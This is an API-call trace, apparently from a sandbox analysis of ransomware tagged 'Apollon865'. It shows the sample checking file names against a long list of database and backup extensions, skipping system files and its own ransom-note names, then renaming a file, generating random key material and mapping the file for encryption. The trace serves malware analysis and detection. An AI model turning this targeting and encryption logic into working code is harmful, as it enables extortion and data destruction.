	[0078.103] lstrlenW (lpString="accdb") returned 5
	[0078.103] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.106] lstrlenW (lpString="accdc") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.106] lstrlenW (lpString="accde") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.106] lstrlenW (lpString="accdr") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.106] lstrlenW (lpString="accdt") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.106] lstrlenW (lpString="accdw") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.106] lstrlenW (lpString="accft") returned 5
	[0078.106] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.106] lstrlenW (lpString="adb") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.106] lstrlenW (lpString="adb") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.106] lstrlenW (lpString="ade") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.106] lstrlenW (lpString="adf") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.106] lstrlenW (lpString="adn") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.106] lstrlenW (lpString="adp") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.106] lstrlenW (lpString="alf") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.106] lstrlenW (lpString="ask") returned 3
	[0078.106] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.107] lstrlenW (lpString="btr") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.107] lstrlenW (lpString="cat") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.107] lstrlenW (lpString="cdb") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.107] lstrlenW (lpString="ckp") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.107] lstrlenW (lpString="cma") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.107] lstrlenW (lpString="cpd") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.107] lstrlenW (lpString="dacpac") returned 6
	[0078.107] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.107] lstrlenW (lpString="dad") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.107] lstrlenW (lpString="dadiagrams") returned 10
	[0078.107] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.107] lstrlenW (lpString="daschema") returned 8
	[0078.107] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.107] lstrlenW (lpString="db-journal") returned 10
	[0078.107] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.107] lstrlenW (lpString="db-shm") returned 6
	[0078.107] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.107] lstrlenW (lpString="db-wal") returned 6
	[0078.107] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.107] lstrlenW (lpString="dbc") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.107] lstrlenW (lpString="dbs") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.107] lstrlenW (lpString="dbt") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.107] lstrlenW (lpString="dbv") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.107] lstrlenW (lpString="dbx") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.107] lstrlenW (lpString="dcb") returned 3
	[0078.107] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.107] lstrlenW (lpString="dct") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.108] lstrlenW (lpString="dcx") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.108] lstrlenW (lpString="ddl") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.108] lstrlenW (lpString="dlis") returned 4
	[0078.108] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.108] lstrlenW (lpString="dp1") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.108] lstrlenW (lpString="dqy") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.108] lstrlenW (lpString="dsk") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.108] lstrlenW (lpString="dsn") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.108] lstrlenW (lpString="dtsx") returned 4
	[0078.108] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.108] lstrlenW (lpString="dxl") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.108] lstrlenW (lpString="eco") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.108] lstrlenW (lpString="ecx") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.108] lstrlenW (lpString="edb") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.108] lstrlenW (lpString="epim") returned 4
	[0078.108] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.108] lstrlenW (lpString="fcd") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.108] lstrlenW (lpString="fdb") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.108] lstrlenW (lpString="fic") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.108] lstrlenW (lpString="flexolibrary") returned 12
	[0078.108] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.108] lstrlenW (lpString="fm5") returned 3
	[0078.108] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.108] lstrlenW (lpString="fmp") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.109] lstrlenW (lpString="fmp12") returned 5
	[0078.109] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.109] lstrlenW (lpString="fmpsl") returned 5
	[0078.109] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.109] lstrlenW (lpString="fol") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.109] lstrlenW (lpString="fp3") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.109] lstrlenW (lpString="fp4") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.109] lstrlenW (lpString="fp5") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.109] lstrlenW (lpString="fp7") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.109] lstrlenW (lpString="fpt") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.109] lstrlenW (lpString="frm") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.109] lstrlenW (lpString="gdb") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.109] lstrlenW (lpString="gdb") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.109] lstrlenW (lpString="grdb") returned 4
	[0078.109] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.109] lstrlenW (lpString="gwi") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.109] lstrlenW (lpString="hdb") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.109] lstrlenW (lpString="his") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.109] lstrlenW (lpString="ib") returned 2
	[0078.109] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.109] lstrlenW (lpString="idb") returned 3
	[0078.109] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.109] lstrlenW (lpString="ihx") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.110] lstrlenW (lpString="itdb") returned 4
	[0078.110] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.110] lstrlenW (lpString="itw") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.110] lstrlenW (lpString="jet") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.110] lstrlenW (lpString="jtx") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.110] lstrlenW (lpString="kdb") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.110] lstrlenW (lpString="kexi") returned 4
	[0078.110] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.110] lstrlenW (lpString="kexic") returned 5
	[0078.110] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.110] lstrlenW (lpString="kexis") returned 5
	[0078.110] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.110] lstrlenW (lpString="lgc") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.110] lstrlenW (lpString="lwx") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.110] lstrlenW (lpString="maf") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.110] lstrlenW (lpString="maq") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.110] lstrlenW (lpString="mar") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.110] lstrlenW (lpString="marshal") returned 7
	[0078.110] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.110] lstrlenW (lpString="mas") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.110] lstrlenW (lpString="mav") returned 3
	[0078.110] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.111] lstrlenW (lpString="maw") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.111] lstrlenW (lpString="mdbhtml") returned 7
	[0078.111] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.111] lstrlenW (lpString="mdn") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.111] lstrlenW (lpString="mdt") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.111] lstrlenW (lpString="mfd") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.111] lstrlenW (lpString="mpd") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.111] lstrlenW (lpString="mrg") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.111] lstrlenW (lpString="mud") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.111] lstrlenW (lpString="mwb") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.111] lstrlenW (lpString="myd") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.111] lstrlenW (lpString="ndf") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.111] lstrlenW (lpString="nnt") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.111] lstrlenW (lpString="nrmlib") returned 6
	[0078.111] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.111] lstrlenW (lpString="ns2") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.111] lstrlenW (lpString="ns3") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.111] lstrlenW (lpString="ns4") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.111] lstrlenW (lpString="nsf") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.111] lstrlenW (lpString="nv") returned 2
	[0078.111] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.111] lstrlenW (lpString="nv2") returned 3
	[0078.111] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.112] lstrlenW (lpString="nwdb") returned 4
	[0078.112] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.112] lstrlenW (lpString="nyf") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.112] lstrlenW (lpString="odb") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.112] lstrlenW (lpString="odb") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.112] lstrlenW (lpString="oqy") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.112] lstrlenW (lpString="ora") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.112] lstrlenW (lpString="orx") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.112] lstrlenW (lpString="owc") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.112] lstrlenW (lpString="p96") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.112] lstrlenW (lpString="p97") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.112] lstrlenW (lpString="pan") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.112] lstrlenW (lpString="pdb") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.112] lstrlenW (lpString="pdm") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.112] lstrlenW (lpString="pnz") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.112] lstrlenW (lpString="qry") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.112] lstrlenW (lpString="qvd") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.112] lstrlenW (lpString="rbf") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.112] lstrlenW (lpString="rctd") returned 4
	[0078.112] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.112] lstrlenW (lpString="rod") returned 3
	[0078.112] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.112] lstrlenW (lpString="rodx") returned 4
	[0078.113] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.113] lstrlenW (lpString="rpd") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.113] lstrlenW (lpString="rsd") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.113] lstrlenW (lpString="sas7bdat") returned 8
	[0078.113] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.113] lstrlenW (lpString="sbf") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.113] lstrlenW (lpString="scx") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.113] lstrlenW (lpString="sdb") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.113] lstrlenW (lpString="sdc") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.113] lstrlenW (lpString="sdf") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.113] lstrlenW (lpString="sis") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.113] lstrlenW (lpString="spq") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.113] lstrlenW (lpString="te") returned 2
	[0078.113] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.113] lstrlenW (lpString="teacher") returned 7
	[0078.113] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.113] lstrlenW (lpString="tmd") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.113] lstrlenW (lpString="tps") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.113] lstrlenW (lpString="trc") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.113] lstrlenW (lpString="trc") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.113] lstrlenW (lpString="trm") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.113] lstrlenW (lpString="udb") returned 3
	[0078.113] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.113] lstrlenW (lpString="udl") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.114] lstrlenW (lpString="usr") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.114] lstrlenW (lpString="v12") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.114] lstrlenW (lpString="vis") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.114] lstrlenW (lpString="vpd") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.114] lstrlenW (lpString="vvv") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.114] lstrlenW (lpString="wdb") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.114] lstrlenW (lpString="wmdb") returned 4
	[0078.114] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.114] lstrlenW (lpString="wrk") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.114] lstrlenW (lpString="xdb") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.114] lstrlenW (lpString="xld") returned 3
	[0078.114] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.114] lstrlenW (lpString="xmlff") returned 5
	[0078.114] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.114] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Apollon865") returned 65
	[0078.114] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.116] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.116] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0078.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0078.116] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0078.117] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.117] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.117] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x10c
	[0078.119] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x120000
	[0078.120] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.121] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.121] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.122] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.122] CloseHandle (hObject=0x10c) returned 1
	[0078.122] CloseHandle (hObject=0x15c) returned 1
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.122] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.122] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.122] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0078.122] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned 54
	[0078.123] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.EXCEL.DEV.14.1033.hxn" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn") returned="MS.EXCEL.DEV.14.1033.hxn"
	[0078.123] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0078.123] lstrlenW (lpString="Apollon865") returned 10
	[0078.123] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.123] lstrlenW (lpString=".dll") returned 4
	[0078.123] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.123] lstrlenW (lpString=".lnk") returned 4
	[0078.123] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.123] lstrlenW (lpString=".ini") returned 4
	[0078.123] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.123] lstrlenW (lpString=".sys") returned 4
	[0078.123] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.123] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0078.123] lstrlenW (lpString="bak") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.123] lstrlenW (lpString="ba_") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.123] lstrlenW (lpString="dbb") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.123] lstrlenW (lpString="vmdk") returned 4
	[0078.123] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.123] lstrlenW (lpString="rar") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.123] lstrlenW (lpString="zip") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.123] lstrlenW (lpString="tgz") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.123] lstrlenW (lpString="vbox") returned 4
	[0078.123] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
